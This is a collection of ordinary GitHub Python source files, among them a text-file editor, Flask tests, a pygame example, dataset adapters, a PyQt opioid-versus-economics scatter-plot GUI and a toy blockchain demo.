+{"seq_id":"36691410618","text":"from choice_file import choice_number_file\n\n\ndef change_row():\n nf = choice_number_file()\n with open(f\"db/data_{nf}.txt\", \"r\", encoding=\"utf-8\") as file:\n data = file.readlines()\n count_rows = len(data)\n if count_rows == 0:\n print(\"File is empty!\")\n else:\n number_row = int(input(f\"Enter the row number \" f\"from 1 to {count_rows}: \"))\n while number_row < 1 or number_row > count_rows:\n number_row = int(\n input(f\"Error!\" f\"Enter the row number \" f\"from 1 to {count_rows}: \")\n )\n name = input(\"Enter your name: \")\n surname = input(\"Enter your surname: \")\n date_of_birth = input(\"Enter date of birth: \")\n location = input(\"Enter your location: \")\n data[number_row - 1] = f'{number_row};{name};{surname};{date_of_birth};{location}\\n'\n with open(f\"db/data_{nf}.txt\", \"w\", encoding=\"utf-8\") as file:\n file.writelines(data)\n print('line updated successfully')","repo_name":"Aberezhnoy1980/python_practice","sub_path":"seminar008/change_data.py","file_name":"change_data.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"26708955121","text":"import pytest\nfrom server import app\n\n\n@pytest.fixture\ndef client():\n app.config['TESTING'] = True\n client = app.test_client()\n yield client\n\n\n@pytest.fixture\ndef club_fixture():\n data = {\n \"name\": \"Iron Temple\",\n \"email\": \"admin@irontemple.com\",\n \"points\": \"4\"\n }\n return data\n\n\ndef test_login_then_purchase_places(client, club_fixture):\n result = client.post('/showSummary', data=club_fixture)\n expected = \"Welcome, \" + str(club_fixture[\"email\"])\n data_1 = {'competition': 'Test Event', 'club': club_fixture[\"name\"], 'places': 2}\n asking = client.post('/purchasePlaces', data=data_1)\n total_points = int(club_fixture[\"points\"]) - int(data_1[\"places\"])\n response = 'Points available: ' + str(total_points)\n assert expected.encode() in result.data\n assert b'Great-booking complete!' in asking.data\n assert response.encode() in asking.data\n\n\ndef test_ended_competition_then_logout(client, club_fixture):\n competition = 'Fall Classic'\n result = client.get('/book/'+str(competition)+'/'+str(club_fixture[\"name\"]))\n assert b'COMPETITION OVER' in result.data\n logout = client.get('/logout')\n assert logout.status_code == 302\n\n\ndef test_purchase_then_check_points_display(client, club_fixture):\n data_1 = {'competition': 'Test Event', 'club': club_fixture['name'], 'places': 2}\n client.post('/purchasePlaces', data=data_1)\n new_points = str(int(club_fixture[\"points\"]) - int(data_1[\"places\"]))\n result = client.get('/points')\n assert new_points.encode() in result.data\n\n\ndef test_try_more_than_12_then_get_full_points(client, club_fixture):\n data = {'competition': 'Test Event', 'club': club_fixture[\"name\"], 'places': 13}\n result = client.post('/purchasePlaces', data=data)\n assert b'PAS PLUS DE 12 PLACES PAR CLUB' in result.data\n display = client.get('/points')\n expected_points = str(club_fixture['points'])\n assert expected_points.encode() in display.data","repo_name":"akfio/OCProjet-11","sub_path":"test/test_integrations/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"16717870175","text":"# pygame.mask module\n# https://www.pygame.org/docs/ref/mask.html\n#\n# Get the average Color of a Surface ignoring transparent pixels\n# https://stackoverflow.com/questions/69876220/get-the-average-color-of-a-surface-ignoring-transparent-pixels/70056421#70056421) v\n#\n# GitHub - Mask - Mask count pixel\n# https://github.com/Rabbid76/PyGameExamplesAndAnswers/blob/master/documentation/pygame/pygame_mask.mdightObject\n\nimport pygame\n\ndef get_averqge_color(surf):\n color = pygame.transform.average_color(surf, surf.get_rect())\n pxiel_count = pygame.mask.from_surface(surf).count()\n scale = surf.get_width() * surf.get_height() / pxiel_count\n print(color, scale, pxiel_count)\n return (round(color[0]*scale), round(color[1]*scale), round(color[2]*scale))\n\npygame.init()\nwindow = pygame.display.set_mode((400, 400))\nclock = pygame.time.Clock()\nfont = pygame.font.SysFont(None, 70)\n\ntest_surface = pygame.Surface((300, 300))\ntest_surface.set_colorkey((0, 0, 0))\npygame.draw.rect(test_surface, (255, 0, 0), (50, 50, 100, 100))\npygame.draw.rect(test_surface, (0, 255, 0), (150, 50, 100, 100))\npygame.draw.rect(test_surface, (255, 255, 0), (50, 150, 100, 100))\npygame.draw.rect(test_surface, (0, 0, 255), (150, 150, 100, 100))\n\navg_color = get_averqge_color(test_surface)\ncolor_text = font.render(f\"{avg_color[0]} {avg_color[1]} {avg_color[2]}\", True, \"black\")\n\nbackground = pygame.Surface(window.get_size())\nts, w, h, c1, c2 = 80, *window.get_size(), (160, 160, 160), (96, 96, 96)\ntiles = [((x*ts, y*ts, ts, ts), c1 if (x+y) % 2 == 0 else c2) for x in range((w+ts-1)//ts) for y in range((h+ts-1)//ts)]\n[pygame.draw.rect(background, color, rect) for rect, color in tiles]\n\nrun = True\nwhile run:\n clock.tick(100)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False \n\n window.blit(background, (0, 0))\n rect = test_surface.get_rect(center = window.get_rect().center)\n window.blit(test_surface, rect)\n pygame.draw.rect(window, \"black\", rect, 5, 5)\n window.blit(color_text, color_text.get_rect(center = rect.center))\n pygame.display.flip()\n\npygame.quit()\nexit()","repo_name":"Rabbid76/PyGameExamplesAndAnswers","sub_path":"examples/minimal_examples/pygame_minimal_mask_count_pixel_1.py","file_name":"pygame_minimal_mask_count_pixel_1.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"66"}
+{"seq_id":"39528908698","text":"import json\n\n# listens for the client input\nclient_id = input(\"Enter your client_id: \")\nclient_secret = input(\"Enter your client_secret: \")\nuser_agent = 'rdt_client'\n\nsettings = {\n 'cache_size': 10,\n 'cache_location': 'cache/',\n 'default_sub': 'wallpapers',\n \"subreddits\": [\"wallpapers\", \"earthporn\", \"cozyplaces\"]\n}\npraw_auth = {\n 'client_id': client_id.strip(),\n 'client_secret': client_secret.strip(),\n 'user_agent': user_agent\n}\n\n# generates master json\nconfig_json = {\n \"settings\": settings,\n \"praw_auth\": praw_auth\n}\n\n# writes to JSON\nwith open(\"config/config.json\", \"w\") as p:\n json.dump(config_json, p, indent=4)\n","repo_name":"najeemk/RDTimg","sub_path":"generate_config.py","file_name":"generate_config.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"73424589009","text":"'''\n- 0 : 양\n- 1 : 늑대\n\ndfs 순회\n(11/18)개만 통과\n'''\nresult=1\n\ndef dfs(info,graph,x,sheep,wolf,visited):\n global result\n\n if sheep<=wolf:\n return None,None,None\n visited[x]=1\n print(\"x,sheep,wolf:\",x,sheep,wolf)\n\n for i in graph[x]:\n if not visited[i]:\n print(\"i:\",i)\n # 양 만남\n if info[i]==0:\n result+=1\n print(\"result:\",result)\n dfs(info,graph,i,sheep+1,wolf,visited)\n # 늑대 만남\n else:\n dfs(info, graph, i, sheep,wolf+1, visited)\n return result,wolf,visited\n\ndef solution(info, edges):\n graph = [[] for _ in range(len(info))]\n parent = [0]*len(info)\n for a,b in edges:\n graph[a].append(b)\n graph[b].append(a)\n parent[b]=a\n visited = [0]*len(info)\n visited[0]=1\n sheep, wolf, visited = dfs(info,graph,0,1,0,visited)\n for i in range(len(info)):\n if not visited[i]:\n dfs(info,graph,parent[i],sheep,wolf,visited)\n return result\n\n#print(solution([0,0,1,1,1,0,1,0,1,0,1,1],[[0,1],[1,2],[1,4],[0,8],[8,7],[9,10],[9,11],[4,3],[6,5],[4,6],[8,9]]))\nprint(solution([0,1,0,1,1,0,1,0,0,1,0],[[0,1],[0,2],[1,3],[1,4],[2,5],[2,6],[3,7],[4,8],[6,9],[9,10]]))\n#print(solution([0,1,1,0,0,0,1,1,0],[[0,1],[0,5],[1,3],[5,7],[5,2],[2,4],[2,6],[4,8]]))\n#print(solution([0,1,0,1,1,1,1,0,1,1,0],[[0,4],[0,2],[4,7],[7,1],[4,1],[2,5],[2,8],[5,6],[5,9],[6,10]]))","repo_name":"dbswl4951/baekjoon_algorithm","sub_path":"kakao/ex5.py","file_name":"ex5.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"27163164309","text":"import re\nfrom pathlib import Path\n\nfrom app.error.inconsistent_upload_error import InconsistentDatasetError\nfrom app.main.jobs.utils.yml_templates.registry import register_dataset_adapter\nfrom app.main.jobs.utils.yml_abstractions.annotation import Annotation\nfrom app.main.models.enumerates import DatasetTypesEnum\nfrom config.constants import VOC_ROOT_FOLDER\n\n\nclass BaseDatasetAdapter:\n \"\"\"\n Provides methods for dealing with a dataset.\n\n Adding a new dataset type:\n 1. Create a `BaseDatasetAdapter` subclass\n 2. Find the corresponding annotation converter (subclass of `BaseFormatConverter`) in\n http://github.com/opencv/open_model_zoo/tree/master/tools/accuracy_checker/accuracy_checker/annotation_converters\n 3. Set the `converter` attribute of the subclass to the name of the corresponding annotation converter\n (The name is contained in the `__provider__` attribute of the annotation converter class).\n 4. Implement `recognize()`\n 5. Implement `get_data_source()`\n 6. Implement `get_specific_params()`\n \"\"\"\n\n converter = None\n\n def __init__(self, dataset_path: str):\n self.dataset_path = Path(dataset_path)\n if not self.dataset_path.exists():\n raise FileNotFoundError(self.dataset_path)\n if not self.dataset_path.is_dir():\n raise NotADirectoryError(self.dataset_path)\n\n self.params = self.get_params()\n\n @staticmethod\n def recognize(dataset_path: str) -> bool:\n \"\"\"Check if the `dataset_path` contains a dataset of type related to this subclass.\"\"\"\n raise NotImplementedError\n\n def get_data_source(self) -> Path:\n \"\"\"Return absolute path to the directory containing images.\"\"\"\n raise NotImplementedError\n\n def get_specific_params(self) -> dict:\n \"\"\"\n Return only the annotation conversion params specific for this type of dataset.\n\n Find the parameters in the `parameters()` method of the corresponding annotation converter class.\n \"\"\"\n raise NotImplementedError\n\n def get_params(self) -> dict:\n \"\"\"Return all annotation conversion params.\"\"\"\n params = self.get_specific_params()\n params.update({\n 'converter': self.converter,\n 'images_dir': self.get_data_source(), # Used by Accuracy Checker for content checking.\n })\n return params\n\n def abs_path(self, relative_path: str) -> Path:\n absolute_path = self.dataset_path / relative_path\n if not absolute_path.exists():\n raise InconsistentDatasetError('Cannot find {}'.format(relative_path))\n return absolute_path\n\n def to_annotation(self) -> dict:\n serializable_params = {key: str(value) for key, value in self.params.items()}\n return {\n 'data_source': str(self.get_data_source()),\n 'annotation': Annotation(**serializable_params),\n }\n\n\n@register_dataset_adapter(DatasetTypesEnum.imagenet)\nclass ImagenetDatasetAdapter(BaseDatasetAdapter):\n converter = 'imagenet'\n\n @staticmethod\n def recognize(dataset_path: str) -> bool:\n content = list(Path(dataset_path).iterdir())\n no_subdirs = all(path.is_file() for path in content)\n has_txt = any(path.suffix.lower() == '.txt' for path in content)\n return no_subdirs and has_txt\n\n def get_data_source(self) -> Path:\n return self.dataset_path\n\n def get_specific_params(self) -> dict:\n return {\n 'annotation_file': self.get_annotation_file_path(),\n }\n\n def get_annotation_file_path(self) -> Path:\n annotation_file_paths = [path for path in self.dataset_path.iterdir() if self.is_imagenet_annotation_file(path)]\n if not annotation_file_paths:\n raise InconsistentDatasetError('Cannot find annotation file.')\n if len(annotation_file_paths) > 1:\n raise InconsistentDatasetError(\n 'Too many annotation files: {}.'.format([path.name for path in annotation_file_paths]))\n return annotation_file_paths[0]\n\n @staticmethod\n def is_imagenet_annotation_file(path: Path):\n if not path.is_file() or path.suffix.lower() != '.txt':\n return False\n with open(str(path)) as file:\n return all(re.match(r'^\\S+[ \\t]+[0-9]+$', line.rstrip(' \\t\\r\\n')) for line in file if line.strip('\\r\\n'))\n\n\n@register_dataset_adapter(DatasetTypesEnum.voc_object_detection)\nclass VOCDetectionDatasetAdapter(BaseDatasetAdapter):\n converter = 'voc_detection'\n\n @staticmethod\n def recognize(dataset_path: str) -> bool:\n return (Path(dataset_path) / VOC_ROOT_FOLDER).is_dir()\n\n def get_data_source(self) -> Path:\n return self.abs_path('VOCdevkit/VOC{}/JPEGImages'.format(self.voc_version))\n\n def get_specific_params(self) -> dict:\n return {\n 'imageset_file': self.get_imageset_file(),\n 'annotations_dir': self.abs_path('VOCdevkit/VOC{}/Annotations'.format(self.voc_version)),\n }\n\n def __init__(self, *args, **kwargs):\n self._voc_version = None\n super().__init__(*args, **kwargs)\n\n @property\n def voc_version(self):\n if not self._voc_version:\n vocdevkit_dir = self.abs_path('VOCdevkit')\n voc_version_dirnames = [d.name for d in vocdevkit_dir.iterdir() if d.name.startswith('VOC') and d.is_dir()]\n if not voc_version_dirnames:\n raise InconsistentDatasetError(\n 'Cannot find \"VOCdevkit/VOC\" directory.')\n if len(voc_version_dirnames) > 1:\n raise InconsistentDatasetError(\n 'Too many \"VOCdevkit/VOC\" directories: {}.'.format(voc_version_dirnames))\n self._voc_version = voc_version_dirnames[0].split('VOC')[1]\n return self._voc_version\n\n def get_imageset_file(self):\n path_to_dir = self.abs_path('VOCdevkit/VOC{}/ImageSets/Main'.format(self.voc_version))\n for filename in ('test.txt', 'val.txt', 'train.txt'):\n path = path_to_dir / filename\n if path.is_file():\n return path\n raise InconsistentDatasetError('Cannot find an imageset file for this dataset.')\n","repo_name":"nathanbangwa243/VLinder-AI","sub_path":"intel/openvino_2019.3.376/deployment_tools/tools/workbench/app/main/jobs/utils/yml_templates/dataset_adapters.py","file_name":"dataset_adapters.py","file_ext":"py","file_size_in_byte":6202,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"66"}
+{"seq_id":"4449234706","text":"from pandas import DataFrame\nimport plotly.express as px\nimport sys\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import QtCore, QtWidgets, QtWebEngineWidgets\nimport numpy as np\nimport json\nimport pandas as pd\n\nlaborstats_data = json.load(open(\"HTMLLaborStatistics.json\", 'r'))\nnotinlaborforce = laborstats_data['Not in Labor Force Percent']\nemployed = laborstats_data['Employed Percent']\nunemployment = laborstats_data['Unemployment Percent']\n\neduc_data = json.load(open(\"EducationAttainment.json\", 'r'))\nlessthan9th = educ_data['Less Than 9th Percent']\nhighschool = educ_data['High School Graduate Percent']\nbachelor = educ_data['Bachelor Degree Percent']\n\nwith open(\"economic_data.json\") as econ:\n econ_dataframe = pd.read_json(econ)\n econ_dataframe = econ_dataframe.transpose()\n econ_dataframe.sort_index(inplace = True, axis = 0)\n #print(econ_dataframe.loc[\"Mcintosh\", :])\n POP = list(econ_dataframe[\" Population (Persons) (Number Of Persons)\"])\n PCNE = list(econ_dataframe[\" Per Capita Net Earnings (Dollars)\"])\n NEBPR = list(econ_dataframe[\" Net Earnings By Place Of Residence (Thousands Of Dollars)\"])\n PCPI = list(econ_dataframe[\" Per Capita Personal Income (Dollars)\"])\n PCPCTR = list(econ_dataframe[\" Per Capita Personal Current Transfer Receipts (Dollars)\"])\n PCIMB = list(econ_dataframe[\" Per Capita Income Maintenance Benefits (Dollars)\"])\n PCUIC = list(econ_dataframe[\" Per Capita Unemployment Insurance Compensation (Dollars)\"])\n PCRO = list(econ_dataframe[\" Per Capita Retirement And Other (Dollars)\"])\n\nopioiddata = json.load(open(\"opioid_dat.json\", 'r'))\nopioid = {}\nfor key in opioiddata:\n opioid[key] = opioiddata[key]['total_claims']\n\npopdata = json.load(open(\"economic_data.json\", 'r'))\npop = {}\ncounties = []\n\nfor key in popdata:\n pop[key] = popdata[key][' Population (Persons) (Number Of Persons)']\n counties.append(key)\ncounties.sort()\nopioidrate = []\nfor key in counties:\n if opioid[key] and pop[key]:\n opioidrate.append(opioid[key]/pop[key])\n else:\n opioidrate.append(0)\n\nclass MainWindow(QWidget):\n def __init__(self):\n super().__init__()\n self.setWindowTitle(\"Scatter Graph Generator\")\n\n self.label1 = QLabel(\"X-Axis:\")\n self.label1.setAlignment(QtCore.Qt.AlignCenter)\n self.label2 = QLabel(\"Y-Axis:\")\n self.label2.setAlignment(QtCore.Qt.AlignCenter)\n\n self.cb = QComboBox()\n self.cb.addItems([\"\",\"Unemployment Rate\", \"Not in Labor Force Rate\", \"Employed Rate\", \"Percentage with Less than 9th Grade Education\", \"Percentage that Graduated Highschool\"])\n self.cb.addItems([\"Percentage with Bachelor's Degree\", \"Per Capita Net Earnings (Dollars)\", \"Net Earnings By Place Of Residence (Thousands Of Dollars)\", \"Per Capita Personal Income (Dollars)\"])\n self.cb.addItems([\"Per Capita Personal Current Transfer Receipts (Dollars)\", \"Per Capita Income Maintenance Benefits (Dollars)\", \"Per Capita Unemployment Insurance Compensation (Dollars)\", \"Per Capita Retirement And Other (Dollars)\"])\n self.cb.activated[str].connect(self.generate)\n\n self.cb1 = QComboBox()\n self.cb1.addItems([\"\", \"Opioid Prescription Rate \"])\n self.cb1.activated[str].connect(self.generate)\n\n self.button = QtWidgets.QPushButton('Generate Graph!', self)\n self.browser = QtWebEngineWidgets.QWebEngineView(self)\n self.infobutton = QPushButton(\"Instructions\")\n\n\n layout = QVBoxLayout()\n\n vlayout = QVBoxLayout()\n vlayout.addWidget(self.button, alignment=QtCore.Qt.AlignHCenter)\n vlayout.addWidget(self.browser)\n self.button.clicked.connect(self.creategraph)\n self.resize(1000,800)\n\n hbox = QHBoxLayout()\n hbox.addWidget(self.label1)\n hbox.addWidget(self.cb)\n\n hbox2 = QHBoxLayout()\n hbox2.addWidget(self.label2)\n hbox2.addWidget(self.cb1)\n\n hbox4 = QHBoxLayout()\n hbox4.addWidget(self.infobutton)\n self.infobutton.clicked.connect(self.info)\n\n layout.addLayout(hbox4)\n layout.addLayout(hbox)\n layout.addLayout(hbox2)\n layout.addLayout(vlayout)\n\n self.setLayout(layout)\n\n def generate(self):\n if self.cb.currentText() and self.cb1.currentText():\n self.button.setEnabled(True)\n self.button.clicked.connect(self.creategraph)\n else:\n pass\n\n def creategraph(self):\n if self.cb.currentText() == \"\" or self.cb1.currentText()==\"\":\n self.button.setEnabled(False)\n pass\n elif self.cb.currentText() == \"Employed Rate\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"employed\":employed, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['employed'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Employed Percentage v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Employed Percentage\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Unemployment Rate\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"unemployment\":unemployment, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['unemployment'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Unemployment Rate (%) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Unemployment Rate (%)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Not in Labor Force Rate\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"notinlaborforce\":notinlaborforce, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['notinlaborforce'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Not in Labor Force Rate (%) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Not in Labor Force Rate (%)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Percentage with Less than 9th Grade Education\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"lessthan9th\":lessthan9th, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['lessthan9th'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Percentage with Less than 9th Grade Education (%) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Percentage with Less than 9th Grade Education (%)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Percentage that Graduated Highschool\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"highschool\":highschool, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['highschool'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Percentage that Graduated Highschool (%) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Percentage that Graduated Highschool (%)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Percentage with Bachelor's Degree\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"bachelor\":bachelor, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['bachelor'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Percentage with Bachelor's Degree (%) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Percentage with Bachelor's Degree (%)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Per Capita Net Earnings (Dollars)\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"PCNE\":PCNE, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['PCNE'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Per Capita Net Earnings (Dollars) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Per Capita Net Earnings (Dollars)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Net Earnings By Place Of Residence (Thousands Of Dollars)\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"NEBPR\":NEBPR, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['NEBPR'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Net Earnings By Place Of Residence (Thousands Of Dollars) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Net Earnings By Place Of Residence (Thousands Of Dollars)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Per Capita Personal Income (Dollars)\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"PCPI\":PCPI, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['PCPI'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Per Capita Personal Income (Dollars) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Per Capita Personal Income (Dollars)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Per Capita Personal Current Transfer Receipts (Dollars)\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"PCPCTR\":PCPCTR, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['PCPCTR'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Per Capita Personal Current Transfer Receipts (Dollars) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Per Capita Personal Current Transfer Receipts (Dollars)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Per Capita Income Maintenance Benefits (Dollars)\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"PCIMB\":PCIMB, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['PCIMB'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Per Capita Income Maintenance Benefits (Dollars) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Per Capita Income Maintenance Benefits (Dollars)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Per Capita Unemployment Insurance Compensation (Dollars)\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"PCUIC\":PCUIC, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['PCUIC'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Per Capita Unemployment Insurance Compensation (Dollars) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Per Capita Unemployment Insurance Compensation (Dollars)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n elif self.cb.currentText() == \"Per Capita Retirement And Other (Dollars)\":\n df = pd.DataFrame({\"opioidrate\":opioidrate, \"PCRO\":PCRO, 'counties':counties},index=counties)\n df = df[df[\"opioidrate\"] != 0]\n\n a = np.array(df['PCRO'])\n b = np.array(df['opioidrate'])\n c = np.array(df['counties'])\n\n df = px.data.tips()\n fig = px.scatter(x = a, y = b, trendline=\"ols\", title=\"Per Capita Retirement And Other (Dollars) v.s. # of Prescriptions Per Person\", \\\n labels={\"x\": \"Per Capita Retirement And Other (Dollars)\",\"y\": \"# of Prescriptions Per Person\"}, hover_name=c, opacity=0.7)\n fig.data[1].update(line_color='red')\n self.browser.setHtml(fig.to_html(include_plotlyjs='cdn'))\n\n\n def info(self):\n self.messbox = QMessageBox()\n self.messbox.setIcon(QMessageBox.Information)\n self.messbox.setText(\"Instructions\")\n self.messbox.setInformativeText(\"After selecting the axis values, press 'Generate Graph!' to create the desired scatter graph. Please wait as it takes a few seconds for the graph to load :)\")\n self.messbox.exec()\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n main = MainWindow()\n main.show()\n sys.exit(app.exec_())\n\n\"\"\"\npython GUI.py\n\"\"\"\n","repo_name":"pneo19/ga-opioid-epidemic-project","sub_path":"PhaseII.py","file_name":"PhaseII.py","file_ext":"py","file_size_in_byte":15638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"36425240644","text":"from BlockchainClass import Blockchain\n\nnew_transactions = [{'amount': '30', 'sender':'alice', 'receiver':'bob'},\n \t{'amount': '55', 'sender':'bob', 'receiver':'alice'}]\n\nmy_blockchain = Blockchain()\n\nmy_blockchain.add_block(new_transactions)\nmy_blockchain.print_blocks()\nmy_blockchain.chain[1].transactions = \"fake_transactions\"\nmy_blockchain.print_blocks()\nmy_blockchain.validate_chain()\n\nnew_transactions = [{'amount': '30', 'sender': 'alice', 'receiver': 'bob'},\n {'amount': '55', 'sender': 'bob', 'receiver': 'alice'}]\n\n# import sha256\nfrom hashlib import sha256\n\n# sets the amount of leading zeros that must be found in the hash produced by the nonce\ndifficulty = 2\nnonce = 0\n# creating the proof\n\"\"\"string = str(nonce) + str(new_transactions)\nproof = sha256(string.encode()).hexdigest()\n# printing proof\nprint(proof)\"\"\"\n\n\"\"\"# finding a proof that has 2 leading zeros\ntest = False\nwhile not test:\n string = str(nonce) + str(new_transactions)\n proof = sha256(string.encode()).hexdigest()\n needed_zeros = True\n for i in range(difficulty):\n if proof[i] != \"0\":\n #print(\"Index \" + str(i) + \" ist nicht 0!\")\n needed_zeros = False\n break\n if needed_zeros == True:\n test = True\n print(nonce)\n print(proof)\n nonce = nonce + 1\"\"\"\n","repo_name":"jonasjuenemann/PyProjects","sub_path":"BlockChain/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
